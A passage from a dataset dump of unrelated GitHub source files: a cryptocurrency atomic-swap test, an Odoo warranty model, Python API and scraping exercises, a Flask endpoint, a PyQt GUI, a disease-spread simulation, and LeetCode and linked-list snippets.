self.swap_clients\n coin_from = Coins.PIVX\n coin_to = Coins.BTC\n swap_type = SwapTypes.SELLER_FIRST\n ci_from = swap_clients[2].ci(coin_from)\n ci_to = swap_clients[1].ci(coin_to)\n tla_from = coin_from.name\n\n # Prepare balance\n self.ensure_balance(coin_from, 2, 10.0)\n self.ensure_balance(coin_to, 1, 100.0)\n\n js_w2 = read_json_api(1802, 'wallets')\n post_json = {\n 'value': 10.0,\n 'address': read_json_api(1802, 'wallets/{}/nextdepositaddr'.format(tla_from.lower())),\n 'subfee': True,\n }\n json_rv = read_json_api(1802, 'wallets/{}/withdraw'.format(tla_from.lower()), post_json)\n wait_for_balance(delay_event, 'http://127.0.0.1:1802/json/wallets/{}'.format(tla_from.lower()), 'balance', 9.0)\n assert (len(json_rv['txid']) == 64)\n\n # Create prefunded ITX\n pi = swap_clients[2].pi(SwapTypes.XMR_SWAP)\n js_w2 = read_json_api(1802, 'wallets')\n swap_value = 10.0\n if float(js_w2[tla_from]['balance']) < swap_value:\n swap_value = js_w2[tla_from]['balance']\n swap_value = ci_from.make_int(swap_value)\n assert (swap_value > ci_from.make_int(9))\n\n itx = pi.getFundedInitiateTxTemplate(ci_from, swap_value, True)\n itx_decoded = ci_from.describeTx(itx.hex())\n\n n = pi.findMockVout(ci_from, itx_decoded)\n value_after_subfee = ci_from.make_int(itx_decoded['vout'][n]['value'])\n assert (value_after_subfee < swap_value)\n swap_value = value_after_subfee\n wait_for_unspent(delay_event, ci_from, swap_value)\n\n extra_options = {'prefunded_itx': itx}\n rate_swap = ci_to.make_int(random.uniform(0.2, 10.0), r=1)\n offer_id = swap_clients[2].postOffer(coin_from, coin_to, swap_value, rate_swap, swap_value, swap_type, TxLockTypes.ABS_LOCK_TIME, extra_options=extra_options)\n\n wait_for_offer(delay_event, swap_clients[1], offer_id)\n offer = swap_clients[1].getOffer(offer_id)\n bid_id = swap_clients[1].postBid(offer_id, offer.amount_from)\n\n wait_for_bid(delay_event, swap_clients[2], bid_id, BidStates.BID_RECEIVED)\n swap_clients[2].acceptBid(bid_id)\n\n wait_for_bid(delay_event, swap_clients[2], bid_id, BidStates.SWAP_COMPLETED, wait_for=120)\n wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.SWAP_COMPLETED, sent=True, wait_for=120)\n\n # Verify expected inputs were used\n bid, offer = swap_clients[2].getBidAndOffer(bid_id)\n assert (bid.initiate_tx)\n wtx = ci_from.rpc_callback('gettransaction', [bid.initiate_tx.txid.hex(),])\n itx_after = ci_from.describeTx(wtx['hex'])\n assert (len(itx_after['vin']) == len(itx_decoded['vin']))\n for i, txin in enumerate(itx_decoded['vin']):\n assert (txin['txid'] == itx_after['vin'][i]['txid'])\n assert (txin['vout'] == itx_after['vin'][i]['vout'])\n\n def test_11_xmrswap_to(self):\n logging.info('---------- Test xmr swap protocol to')\n\n swap_clients = self.swap_clients\n coin_from = Coins.BTC\n coin_to = Coins.PIVX\n swap_type = SwapTypes.XMR_SWAP\n ci_from = swap_clients[0].ci(coin_from)\n ci_to = swap_clients[1].ci(coin_to)\n\n swap_value = ci_from.make_int(random.uniform(0.2, 20.0), r=1)\n rate_swap = ci_to.make_int(random.uniform(0.2, 20.0), r=1)\n offer_id = swap_clients[0].postOffer(coin_from, coin_to, swap_value, rate_swap, swap_value, swap_type)\n\n wait_for_offer(delay_event, swap_clients[1], offer_id)\n offer = swap_clients[1].getOffer(offer_id)\n bid_id = swap_clients[1].postBid(offer_id, offer.amount_from)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.BID_RECEIVED)\n swap_clients[0].acceptBid(bid_id)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=120)\n wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.SWAP_COMPLETED, sent=True, wait_for=120)\n\n def test_12_xmrswap_to_recover_b_lock_tx(self):\n coin_from = Coins.BTC\n coin_to = Coins.PIVX\n logging.info('---------- Test {} to {} follower recovers coin b lock tx'.format(coin_from.name, coin_to.name))\n\n swap_clients = self.swap_clients\n ci_from = swap_clients[0].ci(coin_from)\n ci_to = swap_clients[1].ci(coin_to)\n\n amt_swap = ci_from.make_int(random.uniform(0.1, 2.0), r=1)\n rate_swap = ci_to.make_int(random.uniform(0.2, 20.0), r=1)\n offer_id = swap_clients[0].postOffer(\n coin_from, coin_to, amt_swap, rate_swap, amt_swap, SwapTypes.XMR_SWAP,\n lock_type=TxLockTypes.SEQUENCE_LOCK_BLOCKS, lock_value=32)\n wait_for_offer(delay_event, swap_clients[1], offer_id)\n offer = swap_clients[1].getOffer(offer_id)\n\n bid_id = swap_clients[1].postXmrBid(offer_id, offer.amount_from)\n wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.BID_RECEIVED)\n\n bid, xmr_swap = swap_clients[0].getXmrBid(bid_id)\n swap_clients[1].setBidDebugInd(bid_id, DebugTypes.CREATE_INVALID_COIN_B_LOCK)\n swap_clients[0].acceptXmrBid(bid_id)\n\n wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.XMR_SWAP_FAILED_REFUNDED, wait_for=180)\n wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.XMR_SWAP_FAILED_REFUNDED, sent=True)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"tecnovert/basicswap","sub_path":"tests/basicswap/extended/test_pivx.py","file_name":"test_pivx.py","file_ext":"py","file_size_in_byte":28882,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"78"} +{"seq_id":"6176263637","text":"# © 2019 Numigi (tm) and all its contributors (https://bit.ly/numigiens)\n# License LGPL-3.0 or later (http://www.gnu.org/licenses/lgpl).\n\nfrom odoo import api, fields, models\n\n\nclass WarrantyType(models.Model):\n\n _name = \"sale.warranty.type\"\n _description = \"Sale Warranty Type\"\n\n company_id = fields.Many2one(\n \"res.company\", \"Company\", default=lambda s: s.env.user.company_id\n )\n name = fields.Char(required=True)\n duration_in_months = fields.Integer(required=True)\n description = fields.Text()\n url = fields.Char(string=\"URL\")\n allow_non_serialized_products = fields.Boolean(\n help=\"If checked, this warranty type is selectable on non-serialized products.\"\n )\n product_template_ids = fields.Many2many(\n \"product.template\",\n \"product_template_warranty_type_rel\",\n \"warranty_type_id\",\n \"product_id\",\n \"Products\",\n )\n active = fields.Boolean(default=True)\n\n @api.multi\n def write(self, vals):\n super().write(vals)\n if \"allow_non_serialized_products\" in vals:\n self.mapped(\"product_template_ids\")._check_warranties_tracking()\n return True\n","repo_name":"Numigi/odoo-sale-addons","sub_path":"sale_warranty/models/sale_warranty_type.py","file_name":"sale_warranty_type.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"6853341882","text":"## Read this url and find the 10 most frequent words. \n# romeo_and_juliet = 'http://www.gutenberg.org/files/1112/1112.txt'\nimport requests\nfrom collections import Counter\nimport re\n\n# Retrieve the text from the URL\nresponse = requests.get('http://www.gutenberg.org/files/1112/1112.txt')\ntext = response.text\n\n# Clean up the text\ntext = re.sub(r'\\n+', ' ', text) \ntext = re.sub(r'\\r', '', text) \ntext = re.sub(r'\\s+', ' ', text) \n\n# Find the 10 most frequent words\nwords = re.findall(r'\\b\\w+\\b', text)\nword_counts = Counter(words)\ntop_words = word_counts.most_common(10)\n\nprint(top_words)\n\n## Read the cats API and cats_api = 'https://api.thecatapi.com/v1/breeds' and find :\n#the min, max, mean, median, standard deviation of cats' weight in metric units.\n# the min, max, mean, median, standard deviation of cats' lifespan in years.\n# Create a frequency table of country and breed of cats\nimport requests\nimport statistics\nfrom collections import Counter\n\ncats_api = 'https://api.thecatapi.com/v1/breeds'\n\n# Retrieve data from the API\nresponse = requests.get(cats_api)\nbreeds = response.json()\n\n# Extract weight and lifespan data\nweights = []\nlifespans = []\nfor breed in breeds:\n weight_metric = breed['weight']['metric']\n weight = float(weight_metric.split()[0])\n weights.append(weight)\n \n lifespan = breed['life_span']\n if lifespan.isdigit():\n lifespans.append(int(lifespan))\n \n# Calculate summary statistics for weight and lifespan\nweight_min = min(weights)\nweight_max = max(weights)\nweight_mean = statistics.mean(weights)\nweight_median = statistics.median(weights)\nweight_stddev = statistics.stdev(weights)\n\nlifespan_min = min(lifespans)\nlifespan_max = max(lifespans)\nlifespan_mean = statistics.mean(lifespans)\nlifespan_median = statistics.median(lifespans)\nlifespan_stddev = statistics.stdev(lifespans)\n\nprint(f\"Weight statistics: min={weight_min:.2f}, max={weight_max:.2f}, mean={weight_mean:.2f}, median={weight_median:.2f}, stddev={weight_stddev:.2f}\")\nprint(f\"Lifespan statistics: min={lifespan_min}, max={lifespan_max}, mean={lifespan_mean:.2f}, median={lifespan_median}, stddev={lifespan_stddev:.2f}\")\n\n# Create frequency table of country and breed\ncountry_breed_counts = Counter()\nfor breed in breeds:\n country = breed['origin']\n breed_name = breed['name']\n country_breed_counts[(country, breed_name)] += 1\n\nfor (country, breed_name), count in country_breed_counts.most_common():\n print(f\"{country}: {breed_name} - {count}\")\n\n\n## Read the countries API and find\n# the 10 largest countries\n# the 10 most spoken languages\n# the total number of languages in the countries API\nimport requests\nresponse = requests.get('https://restcountries.com/v2/all')\ndata = response.json()\n\n# Retrieve 10 largest countries\nlargest_countries = sorted(data, key=lambda x: x['area'], reverse=True)[:10]\nprint('10 Largest Countries:')\nfor country in largest_countries:\n print(country['name'])\n\n# Retrieve 10 most spoken languages\nlanguages = {}\nfor country in data:\n for language in country['languages']:\n if language['name'] in languages:\n languages[language['name']] += 1\n else:\n languages[language['name']] = 1\nmost_spoken_languages = sorted(languages.items(), key=lambda x: x[1], reverse=True)[:10]\nprint('\\n10 Most Spoken Languages:')\nfor language, count in most_spoken_languages:\n print(language)\n\n# Retrieve total number of languages\nall_languages = set()\nfor country in data:\n for language in country['languages']:\n all_languages.add(language['name'])\ntotal_languages = len(all_languages)\nprint(f'\\nTotal Number of Languages: {total_languages}')\n\n\n## UCI is one of the most common places to get data sets for data science and machine learning. \n# Read the content of UCL (https://archive.ics.uci.edu/ml/datasets.php). \n# Without additional libraries it will be difficult, so you may try it with BeautifulSoup4\nimport requests\nfrom bs4 import BeautifulSoup\nurl = 'https://archive.ics.uci.edu/ml/datasets.php'\n\n# Send request and retrieve page content\nresponse = requests.get(url)\ncontent = response.content\n\n# Parse page content using BeautifulSoup\nsoup = BeautifulSoup(content, 'html.parser')\n\n# Print page title\nprint('Title:', soup.title.string)\n\n# Find all dataset links on the page\nlinks = soup.find_all('a', href=True)\ndatasets = []\nfor link in links:\n href = link['href']\n if 'datasets/' in href:\n datasets.append(href)\n\n# Print all dataset links\nprint('\\nDatasets:')\nfor dataset in datasets:\n print(dataset)","repo_name":"unclebaba/30days-of-python","sub_path":"Day_20/pip.py","file_name":"pip.py","file_ext":"py","file_size_in_byte":4530,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"12598046704","text":"from cerberus import Validator\nfrom flask import request\nfrom flask_restful import Resource\n\nimport inforadar.config as config\nfrom inforadar.classify.classify import classify_text\nfrom inforadar.models import Category, Indicator, CrowdsourcedArticle, CrowdsourcedIndicatorScore, IndicatorSchema\nfrom ..constants import current_version_indicator_1\n\n\nclass Indicators(Resource):\n def get(self):\n \"\"\"\n Output: dictionary listing each indicator, the corresponding description, and the quartiles for each category\n (fact, opinion, conspiracy, entertainment, and satire).\n \"\"\"\n\n # Create the list of indicators from our data.\n indicator = Indicator.query.all()\n\n # Serialize the data for the response\n indicator_schema = IndicatorSchema(many=True)\n indicator_data = indicator_schema.dump(indicator)\n\n return indicator_data, 200\n\n def post(self):\n \"\"\"\n Input: headline (optional ?), and body text (mandatory), list with indicators.\n Output: a dictionary listing the score and percentile for each category and each indicator.\n \"\"\"\n\n categories_records = Category.query.with_entities(Category.id, Category.name).all()\n categories = {record.id: record.name for record in categories_records}\n\n indicators_records = Indicator.query.with_entities(Indicator.id, Indicator.name).all()\n available_indicators = {record.id: record.name for record in indicators_records}\n\n # --------------------------\n # Request validation.\n # --------------------------\n if not request.data:\n return {'message': f\"Missing a JSON body in the request.\"}, 422\n\n schema_1 = {\n \"id\": {\"type\": \"integer\", \"required\": True},\n \"indicators\": {\"type\": \"list\",\n \"required\": True,\n \"allowed\": available_indicators,\n \"schema\": {\"type\": \"integer\"}\n },\n }\n\n schema_2 = {\n \"headline\": {\"type\": \"string\", \"required\": True},\n \"body_text\": {\"type\": \"string\", \"required\": True},\n \"indicators\": {\"type\": \"list\", \"required\": True,\n \"allowed\": available_indicators,\n \"schema\": {\"type\": \"integer\"}\n },\n }\n\n validator = Validator()\n valid = any(validator(request.get_json(force=True), schema) for schema in [schema_1, schema_2])\n if not valid:\n return {'message': f\"Unsupported json object: \" + str(validator.errors)}, 400\n\n data = request.get_json(force=True)\n indicators = dict()\n article_id = None\n\n # --------------------------\n # Persist article and retrieve existing indicators.\n # --------------------------\n if data.get(\"id\", None):\n # indicators_records = Category.query.with_entities(Metric.id, Metric.name).all()\n article = CrowdsourcedArticle.query.filter_by(id=data[\"id\"]).first()\n if not article:\n return {'message': f\"Invalid article id: \" + str(data[\"id\"]) + \".\"}, 400\n article_id = article.id\n body_text = article.body_text\n\n # TODO: Attention: when a new version of the indicators calculator is released, you should update this\n # query to retrieve the score of the current indicator calculator.\n indicators_records = CrowdsourcedArticle.query \\\n .join(CrowdsourcedIndicatorScore,\n CrowdsourcedIndicatorScore.crowdsourced_article_id == CrowdsourcedArticle.id) \\\n .add_columns(CrowdsourcedIndicatorScore.indicator_id,\n CrowdsourcedIndicatorScore.category_id,\n CrowdsourcedIndicatorScore.score) \\\n .filter(CrowdsourcedArticle.id == article.id) \\\n .filter(CrowdsourcedIndicatorScore.indicator_id.in_(data[\"indicators\"])).all()\n\n for record in indicators_records:\n if record.indicator_id in indicators:\n indicators[record.indicator_id]['categories'][record.category_id] = {\"score\": record.score}\n else:\n indicators[record.indicator_id] = {'categories': {record.category_id: {\"score\": record.score}}}\n else:\n body_text = data.get(\"body_text\", None)\n\n # --------------------------\n # Compute score for each indicator.\n # --------------------------\n new_indicators = dict()\n try:\n for indicator_id in data.get(\"indicators\"):\n if indicator_id not in indicators.keys():\n scores = classify_text(body_text)\n new_indicators[indicator_id] = scores\n indicators.update(new_indicators)\n except Exception as err:\n print(err)\n return {'message': f\"Failed to compute score for indicators.\"}, 500\n\n # --------------------------\n # Persist new indicators.\n # --------------------------\n if article_id:\n for indicator_id in new_indicators.keys():\n for category_id in categories:\n indicator_score = CrowdsourcedIndicatorScore(\n indicator_id=indicator_id,\n category_id=category_id,\n crowdsourced_article_id=article_id,\n score=new_indicators[indicator_id]['categories'][category_id][\"score\"],\n version=current_version_indicator_1\n )\n config.db.session.add(indicator_score)\n config.db.session.commit()\n\n return indicators, 200\n","repo_name":"dcaled/inforadar-back","sub_path":"inforadar/endpoints/indicators.py","file_name":"indicators.py","file_ext":"py","file_size_in_byte":5799,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"12769491163","text":"# pylint: disable=invalid-name\n\n\"\"\"UBD test app\"\"\"\n\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport json\nimport time\nfrom functools import partial\nfrom collections import deque\n\nfrom PyQt4 import QtGui\nfrom ubd.pyqt import loader\n\nfrom flow_temp_core import FlowTempCore\n\n\ndef names(prefix, upper_bound):\n \"\"\"Return a strings with prefix followed by number up to upper_bound\"\"\"\n return [prefix + str(number) for number in range(upper_bound)]\n\n\nclass MyWindow(QtGui.QMainWindow):\n \"\"\"My Window test class\"\"\"\n def __init__(self):\n super(MyWindow, self).__init__()\n loader.loadUi('flows_and_temperatures.ui', self)\n self.show()\n\n # Initialize internal parameters\n self.log_messages = deque(maxlen=10)\n self.log('GUI loaded')\n\n # Bind changes in flow widgets to flow change\n self.bindings_to_disconnect = []\n for name in names('setpoint', 6):\n widget = getattr(self, name)\n # Make the widgets pass their name as the first argument in the callback\n callback = partial(self.flow_change, name)\n widget.editingFinished.connect(callback)\n self.bindings_to_disconnect.append((widget.editingFinished, callback))\n self.log('Flow call backs setup')\n\n # Bind buttons\n self.load_flow_file_btn.clicked.connect(self.load_flow_file)\n self.start_flow_file_btn.clicked.connect(self.start_flow_file)\n self.stop_flow_file_btn.clicked.connect(self.stop_flow_file)\n\n # Reload gui values\n try:\n with open('gui_memory.json') as file_:\n gui_memory = json.loads(file_.read())\n for name, description in gui_memory.items():\n getattr(self, name).setText(description)\n self.flow_file.setText(gui_memory['flow_file'])\n self.log('Gui memory reloaded from json file')\n except IOError:\n pass\n\n # Initialize the core\n self.flow_temp_core = FlowTempCore(self)\n\n def flow_change(self, name):\n \"\"\"Pass on a flow change to hardware\"\"\"\n value = getattr(self, name).value()\n self.flow_temp_core.set_flow(name, value)\n self.log('{} changed to {}', name, value)\n\n def closeEvent(self, event):\n \"\"\"Close the program\"\"\"\n # Write descriptions out to file\n gui_memory = {}\n for name in names('description', 6):\n gui_memory[name] = str(getattr(self, name).text())\n gui_memory['flow_file'] = str(self.flow_file.text())\n with open('gui_memory.json', 'w') as file_:\n file_.write(json.dumps(gui_memory))\n self.log('GUI memory written to json file, now close')\n\n # Disconnect flow bindings\n for signal, callback in self.bindings_to_disconnect:\n signal.disconnect(callback)\n\n event.accept()\n\n def load_flow_file(self):\n \"\"\"Load a flow file\"\"\"\n current_dir = os.path.dirname(os.path.realpath(__file__))\n filepath = str(QtGui.QFileDialog.getOpenFileName(\n self, caption='Open flow file', directory=current_dir,\n filter=\"Flow files (*.flow *.txt)\"\n ))\n if filepath == '':\n self.log('File load aborted')\n return\n\n self.log('File \"{}\" loaded', filepath)\n self.flow_file.setText(os.path.relpath(filepath))\n\n def start_flow_file(self):\n \"\"\"Start the currently loaded flow file\"\"\"\n flow_file = str(self.flow_file.text())\n if flow_file == '':\n QtGui.QDialog('Load flow file first')\n return\n self.log('Start flow file')\n self.flow_temp_core.start_flow_file(os.path.abspath(flow_file))\n self.log('Started flow file')\n\n def stop_flow_file(self):\n \"\"\"Stop the currently running flow file\"\"\"\n self.log('Stop flow file')\n self.flow_temp_core.stop_flow_file()\n\n def log(self, message, *args, **kwargs):\n \"\"\"Log message to log window\n\n Will be formatted like message.format(*args, **kwargs)\n \"\"\"\n timestamp = time.strftime('%Y-%m-%d %H:%M:%S')\n logmessage = '{} {}'.format(timestamp, message.format(*args, **kwargs))\n #print(logmessage)\n self.log_messages.appendleft(logmessage)\n self.logtext.setText('\\n'.join(self.log_messages))\n\n\nif __name__ == '__main__':\n app = QtGui.QApplication(sys.argv)\n mywin = MyWindow()\n sys.exit(app.exec_())\n","repo_name":"PenelopeJones/batteries","sub_path":"PyExpLabSys/machines/microreactor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4486,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"34241281051","text":"\"\"\"\nSimple simulation showing the spread of disease\n0: Healthy\n1: Infected\n2: Dead\n-1: Immune (healed)\n\"\"\"\n\nimport numpy as np\n#import numba as nb\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport matplotlib.colors as colors\nimport time\n\nstart_time = time.process_time()\n\ngridsize = 100\n\n# Basic sim\n# infect_rate = 0.05\n# heal_rate = 0.02\n# kill_rate = 0.01\n\n# Common cold\ninfect_rate = 0.02\nheal_rate = 0.03\nkill_rate = 0.002\n\n# Ebola\n# infect_rate = 0.1\n# heal_rate = 0.01\n# kill_rate = 0.2\n\ngrid = np.zeros((gridsize, gridsize))\n\n# Create patient zero\ngrid[np.random.randint(0, gridsize), np.random.randint(0, gridsize)] = 1\n\n# A collection of lists to track patients over time\ntally = {\n \"healthy\": [gridsize**2 - 1],\n \"sickos\": [1],\n \"immune\": [0],\n \"dead\": [0],\n \"time\": [0]\n }\n\n\ndef calc_infect(*args, **kwargs):\n return np.random.binomial(1, infect_rate)\n\nv_calc_infect = np.vectorize(calc_infect)\n\ndef infect(r, c):\n \"\"\"\n Look at each neighbor of a point and, if healthy, have chance to infect\n :param r:\n :param c:\n :return:\n \"\"\"\n subset = grid[r-1:r+2, c-1:c+2]\n print(f\"Looking at ({r-1}, {c-1}) through ({r+1}, {c+1})\")\n # np.where(subset == 0)\n # subset[subset == 0] = np.fromfunction(calc_infect, shape=())\n #v_calc_infect(subset[subset == 0])\n #for i in np.nditer(subset):\n # if subset[i] == 0:\n # subset[i] = np.random.binomial(1, infect_rate)\n for x in np.nditer(subset, op_flags=['readwrite']):\n if x == 0:\n x[...] = calc_infect()\n\n # for nr in np.arange(-1, 2):\n # for nc in np.arange(-1, 2):\n # try:\n # if grid[r+nr, c+nc] == 0:\n # grid[r+nr, c+nc] = np.random.binomial(1, infect_rate)\n # except IndexError: # Out of bounds, ignore\n # pass\n\n\ndef turn(grid):\n \"\"\"\n Perform actions on all infected members of the population in a random order\n \"\"\"\n # Select infected people\n rows, cols = np.where(grid == 1)\n #print(f\"Infected at {rows}, {cols}\")\n # In random order, go through each infected\n idx = np.arange(len(rows))\n np.random.shuffle(idx)\n for i in idx:\n # Chance to heal\n if np.random.binomial(1, heal_rate):\n grid[rows[i], cols[i]] = -1\n # Chance to die\n if np.random.binomial(1, kill_rate):\n grid[rows[i], cols[i]] = 2\n # chance to infect\n else:\n infect(rows[i], cols[i])\n # Re-count everything\n add_tally(grid)\n return grid\n\n\ndef add_tally(grid):\n \"\"\"\n Count up the number of\n :param grid:\n :return:\n \"\"\"\n # Count number of each patient type in the grid\n tally['healthy'].append(len(grid[grid == 0]))\n tally['sickos'].append(len(grid[grid == 1]))\n tally['immune'].append(len(grid[grid == -1]))\n tally['dead'].append(len(grid[grid == 2]))\n tally['time'].append(tally['time'][-1]+1)\n\n\ndef show_summary():\n print(f\"Ended at day {tally['time'][-1]} with: \\n\"\n f\"{len(grid[grid == 0])} never infected,\\n\"\n f\"{len(grid[grid == -1])} cured,\\n\"\n f\"{len(grid[grid == 2])} killed.\")\n max_idx = tally['sickos'].index(max(tally['sickos']))\n print(f\"Disease peaked at day {tally['time'][max_idx]} with {max(tally['sickos'])} infected.\")\n\n\n# Unreadable figure setup bullshit\nfig, (ax1, ax2) = plt.subplots(2, 1, gridspec_kw={'height_ratios': [5, 1]})\nfig.set_figheight(8)\nfig.set_figwidth(6)\ncmap = colors.ListedColormap(['green', 'lightblue', 'red', 'black'])\nboundaries = [-1, 0, 1, 2, 3]\nnorm = colors.BoundaryNorm(boundaries, cmap.N, clip=True)\np1 = ax1.imshow(grid, cmap=cmap, norm=norm, animated=True)\n#p2 = ax2.plot(tally(grid), 'r')\np2, = ax2.plot(tally['time'], tally['sickos'], 'r', animated=True)\np3, = ax2.plot(tally['time'], tally['immune'], 'g', animated=True)\np4, = ax2.plot(tally['time'], tally['dead'], 'k', animated=True)\nax2.set_ylim(0, gridsize**2)\nax1.xaxis.set_visible(False)\nax1.yaxis.set_visible(False)\nax2.xaxis.set_visible(False)\nax2.yaxis.tick_right()\nax2.yaxis.set_ticks_position('both')\n#ax2.yaxis.set_visible(False)\n\n\ndef updatefig(*args):\n \"\"\"\n Function that's called automatically by the animation loop\n \"\"\"\n p1.set_array(turn(grid))\n p2.set_data(tally['time'], tally['sickos'])\n p3.set_data(tally['time'], tally['immune'])\n p4.set_data(tally['time'], tally['dead'])\n ax2.set_xlim(0, max(tally['time']))\n # ax2.set_ylim(0, max(max(sickos), max(immune)))\n # End sim if the disease is gone\n if tally['sickos'][-1] == 0:\n ani.event_source.stop()\n end_time = time.process_time()\n show_summary()\n print(\"Process time:\", end_time - start_time)\n return p1, p2, p3, p4,\n\n\n\n\nani = animation.FuncAnimation(fig, updatefig, interval=5, blit=True) # , fargs=(p1, p2)\nplt.show()\n\n","repo_name":"IceHilda/HallOfGrandmasters","sub_path":"disease.py","file_name":"disease.py","file_ext":"py","file_size_in_byte":4866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30602033850","text":"import sys\n\nfrom paver.setuputils import install_distutils_tasks\nfrom paver.easy import task, needs, options, sh\n\nsys.path.insert(0, '.')\nimport version\n\n\nproperties = dict(\n package_name='dmf_sma',\n version=version.getVersion(),\n url='http://github.com/wheeler-microfluidics/dmf-sma.git',\n short_description='Code for simulating, modeling, and analysing Digital '\n 'Microfluidics force and velocity data.',\n long_description='',\n category='Analysis',\n author='Ryan Fobel',\n author_email='ryan@fobel.net')\n\n\ninstall_distutils_tasks()\n\noptions(\n LIB_PROPERTIES=properties,\n setup=dict(name=properties['package_name'].replace('_', '-'),\n description='\\n'.join([properties['short_description'],\n properties['long_description']]),\n author_email=properties['author_email'],\n author=properties['author'],\n url=properties['url'],\n version=properties['version'],\n install_requires=['numpy', 'pandas', 'path-helpers>=0.2',\n 'sympy', 'matplotlib'],\n # Install data listed in `MANIFEST.in`\n include_package_data=True,\n license='BSD-3-Clause',\n packages=[properties['package_name']]))\n\n\n@task\ndef nosetests():\n nose_options = '-v'\n sh('nosetests %s' % nose_options)\\\n\n\n@task\n@needs('generate_setup', 'minilib', 'setuptools.command.sdist', 'nosetests')\ndef sdist():\n \"\"\"Override sdist to make sure that our setup.py is generated.\"\"\"\n pass\n","repo_name":"ryanfobel/dmf-sma","sub_path":"pavement.py","file_name":"pavement.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29210109424","text":"\"\"\"\nGiven a binary tree, check whether it is a mirror of itself (ie, symmetric around its center).\n\nFor example, this binary tree [1,2,2,3,4,4,3] is symmetric:\n\n 1\n / \\\n 2 2\n / \\ / \\\n3 4 4 3\nBut the following [1,2,2,null,3,null,3] is not:\n 1\n / \\\n 2 2\n \\ \\\n 3 3\nNote:\nBonus points if you could solve it both recursively and iteratively.\n\n- 101. Symmetric Tree\n\t- Time Complexity:\n\t\t- Recursive version:\n\t\t\t-- Tree Travel O(n)\n\t\t- Iterative version:\n\t\t\t-- \n\t- Space Complexity:\n\t\t- Recursive version:\n\t\t\t-- O(1)\n\t\t- Iterative version:\n\t\t\t-- \n\t\t\n\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def isSymmetric(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n def isSymmetricRecursive(left, right):\n if left is None or right is None:\n return left == right\n if left.val != right.val:\n return False\n return isSymmetricRecursive(left.right, right.left) and isSymmetricRecursive(left.left, right.right)\n \n if root is None:\n return True\n return isSymmetricRecursive(root.left, root.right)\n\nclass Solution(object):\n\tdef isSymmetric(self, root):\n\t\t\"\"\"\n\t\t:type root: TreeNode\n\t\t:rtype: bool\n\t\t\"\"\"\n\t\tqueue = [root]\n\t\twhile len(queue) != 0:\n\t\t\tnew_queue = []\n\t\t\tvals = []\n\t\t\tfor i in range(len(queue)):\n\t\t\t\tif queue[i] is not None:\n\t\t\t\t\tvals.append(queue[i].val)\n\t\t\t\t\tnew_queue.append(queue[i].left)\n\t\t\t\t\tnew_queue.append(queue[i].right)\n\t\t\t\telse:\n\t\t\t\t\tvals.append(None)\n\t\t\tfor i in range(len(vals) / 2):\n\t\t\t\tif vals[i] != vals[-1-i]:\n\t\t\t\t\treturn False\n\t\t\tqueue = new_queue\n\t\treturn True\n","repo_name":"daidaifan/leetcode-problem-solver","sub_path":"python/l0101.py","file_name":"l0101.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25758261069","text":"# \n\nfrom typing import List\n\n\n# Time complexity is O(rows*cols).\n# Space complexity is O(rows*cols) for visit(HashSet) + O(rows*cols) for recursion.\nclass Solution:\n def numEnclaves(self, grid: List[List[int]]) -> int:\n rows, columns = len(grid), len(grid[0])\n visit = set()\n result = 0\n\n def dfs(row, col, land_cells):\n if (row < 0 or row == rows or\n col < 0 or col == columns):\n return False\n if grid[row][col] == 0 or (row, col) in visit:\n return True\n land_cells[0] += 1\n visit.add((row, col))\n return all((\n dfs(row + 1, col, land_cells),\n dfs(row - 1, col, land_cells),\n dfs(row, col + 1, land_cells),\n dfs(row, col - 1, land_cells),\n ))\n\n for row in range(rows):\n for col in range(columns):\n if grid[row][col] == 1 and (row, col) not in visit:\n land_cells = [0] # this is counter for ones\n if dfs(row, col, land_cells):\n result += land_cells[0]\n return result\n","repo_name":"ioann7/problem_solving_on_leetcode","sub_path":"2023_April_daily_challenges/1020. Number of Enclaves.py","file_name":"1020. Number of Enclaves.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37282151196","text":"class LinkedListNode(object):\n\n\tdef __init__(self, value):\n\t\tself.value = value\n\t\tself.next = None\n\n\tdef __str__(self):\n\t\treturn str(self.value)\n\nclass LinkedList(object):\n\n\tdef __init__(self, head=None):\n\t\tself.head = head\n\n\tdef insert(self, node):\n\t\tif not self.head:\n\t\t\tself.head = node\n\t\t\treturn self.head\n\n\t\tptr = self.head\n\n\t\t# while there is another node\n\t\twhile ptr.next:\n\t\t\tptr = ptr.next\n\n\t\t# at last node\n\t\tptr.next = node\n\n\t\treturn self.head\n\n\tdef delete(self, val_of_node_to_del):\n\t\tprev = None\n\t\tcur = self.head\n\n\t\twhile cur and cur.value != 